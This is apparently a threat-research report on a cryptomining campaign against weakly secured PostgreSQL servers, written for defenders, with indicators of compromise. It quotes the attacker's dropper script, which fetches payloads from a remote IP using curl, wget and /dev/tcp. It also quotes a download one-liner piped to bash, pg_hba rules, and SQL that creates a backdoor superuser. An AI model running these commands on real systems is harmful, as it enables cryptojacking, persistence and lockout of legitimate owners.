Summary
Wiz Threat Research identified a malicious campaign targeting weakly configured and publicly exposed PostgreSQL servers to deploy a XMRig-C3 cryptominer. In observed attacks, the threat actor exploited exposed PostgreSQL instances, abused the COPY FROM PROGRAM
function to execute code, and used memfd_create
to run fileless cryptominers. This campaign takes different measures to stay undetected by CWPP solutions that rely on file hash reputation. The binaries are executed with a unique hash per victim and the final miner payload is executed entirely in memory, minimizing forensic traces.
Technical details
Threat actors are actively scanning the network for weakly configured services, with PostgreSQL being a frequent target due to the usage of default weak credentials that expose it to unauthorized access that can lead to remote code execution. In this campaign, attackers leverage a brute force credential-stuffing attack to gain access to publicly accessible PostgreSQL instances. Once authenticated, they abuse the COPY FROM PROGRAM
function, allowing them to drop and run malicious payloads. Observed attacks involve deploying fileless malware via memfd
, enabling execution directly from memory to evade disk-based detection. Additionally, the threat actor has created a rogue database role with elevated privileges, facilitating persistence.
Upon successful login, the threat actor conducts basic discovery with commands such as whoami
and uname
and checks if pg_core
exists on the workload. Next the threat actor run the first dropper script, delivered via base 64 decoded string:
kill -9 $(pgrep zsvc) $(pgrep pdefenderd) $(pgrep updatecheckerd) $(pgrep kinsing) $(pgrep kdevtmpfsi);
function __curl() {
read proto server path <<<$(echo ${1//// })
DOC=/${path// //}
HOST=${server//:*}
PORT=${server//*:}
[[ x"${HOST}" == x"${PORT}" ]] && PORT=80
exec 3<>/dev/tcp/${HOST}/$PORT
echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
(while read line; do
[[ "$line" == $'\r' ]] && break
done && cat) <&3
exec 3>&-
}
if [ -x "$(command -v curl)" ]; then
curl -ksS 159.223.123.175:36287/JzICbeMxNQHwfwHLiCOFnumixtqYBv -o pg_core
elif [ -x "$(command -v wget)" ]; then
wget -q -Opg_core 159.223.123.175:36287/JzICbeMxNQHwfwHLiCOFnumixtqYBv
else
__curl http://159.223.123.175:36287/JzICbeMxNQHwfwHLiCOFnumixtqYBv > pg_core ;
fi;
The script first kills other cryptominers if any exist on the resource and drops the pg_core binary. Next, pg_core
is executed on the resource and deleted.
The next stage downloads a binary named postmaster
, as an attempt to mimic the legitimate postmaster process, which is theĀ PostgreSQLĀ multiuser database server.
echo 'exec 5<>/dev/tcp/159.223.123.175/36287; echo "GET /HbLzilWbYDNEpWUdlDdjfdiYTChuDj HTTP/1.1" >&5; echo "host: 159.223.123.175" >&5; echo >&5; (while read line;do [[ "$line" == $(printf "\015") ]] && break; done && cat) <&5 > postmaster; exec 5>&-' | bash
postmaster
is an obfuscated Golang binary, packed with modified UPX. The threat actor executes a command to append an encrypted configuration to the postmaster
binary. This configuration is encrypted using a hardcoded AES key: 7C6643CC24859542CE37615341E7712E82B4167528688877FE7C14648909DCD5
.
sh -c "printf ::::42Jz0wVPBAsW329::::VXssAL7FE0j5QG4T7cLgmn/VTADoqlvAlDqUiueQYJXy+P5Ysz9YvLS6yML0euUNaHAhwWeXD2/Q51sjeYVQ4vc3UQHvfC8rFujLeIE3vT9uPdPSnjZwRH8X1xvEXqeQPHKL1Vv9PaWu6lrzdtDQECt0LTcz15zWHmAHAUhH4fsM/QrZHZfuJB9zX0W5eS+IrRV2Li6aPfqfYkP/D371mPtKCq9i5l9tn2VWlsDcGesOdh2zS+iD5GrvrwXWhTDvgH2xpvL5Am1DDnKU/ftll3+s0/NFBJMRZ807VHu3h8qidkU8N1z4Wqz4XO03uZ1aUZtsY+GbeC57EvSWYkcLnnvQqPT4qBCipQjYI+ogtzcBlSmFc7eP/a8odDaN3HvC >> postmaster 2>&1 || exit 0"
{"ol":"admin","op":"admin","l":"psql_sys","i":"3.236.133.136","or":5432,"x":"UYXslx38aXJsCd-27kCDig==","lle":"4A5ZWpHM6BXS8YF7xNfjXA5ctDjTC3GBwS4ESBV9X2BGVJV8vkfXBeZfXG6w2hmdkpZaogCXiqU4DYPXn3TtPRAGJBLQ7N5","w":10,"h":"/var/lib/postgresql/data/pg_hba.conf"}
The encrypted configuration contains information about the compromised system, such as:
- The username and password that were used.
- The external IP address and port of the infected server.
- The name of the superuser account that was created.
Additionally, the configuration includes several fields related to the crypto-miner that will be deployed later. This includes:
- The wallet address.
- The worker name.
Upon execution, postmaster
resolves its location on the disk and reads the last 1024 bytes of the binary, which holds the configuration that was added to the binary. If the trailer does not exist or is invalid, postmaster
will exit with an error.
The postmaster
binary will execute itself with the command line pŠ¾stgres: replication launcher
as an attempt to blend within the service, as one of PostrgreSQL process threads is executed with the command postgres: logical replication launcher
. To ensure persistence, postmaster will create a cronjob to run itself every minute. It deletes the file ssh_authorized
keys it also writes to pg_hba
Ā configuration file, to avoid others to log in to the database server and allow communication from internal network
host all pgg_superadmins all reject
host all postgres_superadmins all reject
host all all 127.0.0.1/8 trust
host all all 172.16.0.0/12 trust
host all all 192.168.0.0/16 trust
host all all 10.0.0.0/8 trust
The threat actor creates a new role with high privileges for persistence. This allows the attacker to later log in to the system even if the password has changed.
CREATE ROLE psql_sys WITH LOGIN SUPERUSER PASSWORD '759686ac19adbd08b94cf53f35afdd1e';
The attacker also attempts to weaken the user admin, which is the default user of the service
ALTER USER "admin" WITH NOSUPERUSER NOCREATEROLE
postmaster
writes the cpu_hu
binary to disk. Similar to postmaster
, cpu_hu
is an obfuscated Golang binary packed with modified UPX. The base64 decoded miner configuration information is embedded at the end of the cpu_hu
binary
:::9XLOMQh7RZ3Tf1Xo8:::::eyJsbCI6NCwibGxlIjoiNEE1WldwSE02QlhTOFlGN3hOZmpYQTVjdERqVEMzR0J3UzRFU0JWOVgyQkdWSlY4dmtmWEJlWmZYRzZ3MmhtZGtwWmFvZ0NYaXFVNERZUFhuM1R0UFJBR0pCTFE3TjUiLCJ4IjoiVVlYc2x4MzhhWEpzQ2QtMjdrQ0RpZz09IiwiZmciOiIuLi4ifQ==
{"ll":4,"lle":"4A5ZWpHM6BXS8YF7xNfjXA5ctDjTC3GBwS4ESBV9X2BGVJV8vkfXBeZfXG6w2hmdkpZaogCXiqU4DYPXn3TtPRAGJBLQ7N5","x":"UYXslx38aXJsCd-27kCDig==","fg":"..."}
lle
is the wallet, x
is the worker id and fg
is the json configuration file name which is created under /tmp
(/tmp/...
).
cpu_hu
downloads the latest version of , writes the configuration file to /tmp/ā¦
and runs in with memfd_create
syscall. cpu_hu
clones itself to create a child process and deletes itself from disk.
Victims in the wild:
In our analysis we have gathered three different wallet. When looking in c3pool stats, we observed that each wallet had approximately 550 workers. This suggests that the campaign could involve over 1,500 compromised machines.
Due to the fact that the attacker appends unique configuration data to malware samples, the file hash of cpu_hu
and postmaster
varies between victims.
IOC:
Indicator | Description |
4A5ZWpHM6BXS8YF7xNfjXA5ctDjTC3GBwS4ESBV9X2BGVJV8vkfXBeZfXG6w2hmdkpZaogCXiqU4DYPXn3TtPRAGJBLQ7N5 | Mining Wallet |
47pt9WzQyugFQpSAwcGN2k8JHiMQ3fRZ3BQqmnYJtcejVq9adfiwVSWgrpmxiYTxvvWcHv5dD2iCaiBYiK4atkMSUGMXdx8 | Mining Wallet |
463TBt8Rn1qXWZDpTV4ydxQcZnkJNeLv6JRKjFbzFsY3MQZaxWsUgQF4QnxNAg8MGSPsiLn9faTWqRafHnhh3QBdSLTgRHA | Mining Wallet |
159.223.123.175:36287 | Server hosting the malware payloads |
mine.c3pool.com:13333 | Mining Pool |
0b907eee9a85d39f8f0d7c503cc1f84a71c4de10 | XMRig-C3 miner |
85198288e2ff1dad718cd84876a0b0d3173a641e | pg_core |
7ccfcacfa2a729494dece843e9c4d357f2eec780 | postmaster |
Files on disk:
- Main payload:
postmaster
under/var/lib/postgresql/data/
or in another suspicious location - Miner configuration file:
/tmp/ā¦